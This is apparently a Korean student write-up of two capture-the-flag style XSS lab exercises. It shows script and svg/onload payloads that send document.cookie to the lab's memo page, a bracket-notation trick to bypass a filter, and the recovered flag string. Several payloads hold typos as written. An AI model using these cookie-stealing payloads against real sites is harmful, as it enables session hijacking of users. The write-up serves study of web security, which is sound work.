웹 해킹 Stage4
함께실습 (XSS-1)
처음 사이트에 접속했을 때의 모습이다.
아무것도 입력하지 않고 그냥 memo 페이지에 들어가면 'hello'만 뜬다.
<script>location.href = "/memo?memo=" + document.cookie;</script>
메모 페이지를 사용해서 쿠키를 탈취할 것이다.
Home화면에 있는 flag에 들어간 후 빈칸 부분에 다음과 같은 문구를 작성하고 제출을 눌러준다.
그리고 나서 다시 홈으로 돌아온 후 메모 페이지에 들어가보면 다음과 같이 플래그가 나타난 것을 확인할 수 있다.
혼자실습 (XSS-2)
XSS1문제와 같이 flag 페이지의 빈칸에 <script>location.href = "/memo?memo=" + document.cookie;</script>을 넣고 memo 페이지에 들어가 보았다.
하지만 memo 페이지에는 'hello'만 출력이 되었고, flag값은 출력이 되지 않았다.
위에 대한 이유는 코드에서 찾을 수 있었다.
코드에서 /vuln 부분을 보면 html5 innerHTML에 추가한 script는 실행되지 않기 때문이다. 따라서 다른 태그를 찾아 실행해야 한다.
XSS방화벽 우회를 검색한 후 해당 사이트를 참고했다.
https://noirstar.tistory.com/309
버그바운티(Bug Bounty) Write-up / Stored XSS
https://hackerone.com/reports/415484 Shopify disclosed on HackerOne: Stored xss # Description : WAF cut html tages but when put before tages we can bypass it :) . #Step to reproduce : 1-Open your st..
noirstar.tistory.com
XSS-1에서 썼던 코드
<script>location.href = "/memo?memo=" + documet.cookie;</script>
<svg/onload="alert(1)"> 를 사용하면 우회가 되는 것을 알게 되었다.
.이랑 [" "]이랑 같은 의미를 가지기 때문에 모두 수정해주었다.
document.location.href == document["location"]["href"]
<svg/onload=location["href"]="/memo?memo="+document[cookie"];>를 입력했는데 플래그가 뜨지 않았다.
그래서 첨부된 파이썬 코드에서 get부분의 주소(http://127.0.0.1:8000/)를 참고해 쿠키를 memo페이지로 보냈다.

<svg/onload=location["href"]="http://127.0.0.1:8000/memo?memo="+document[cookie"]>라고 수정한 후 다시 플래그 뒤 빈칸에 넣고 다시 메모에 들어가보니 플래그를 확인할 수 있었다.
DH{3c01577e9542ec24d68ba0ffb846508f}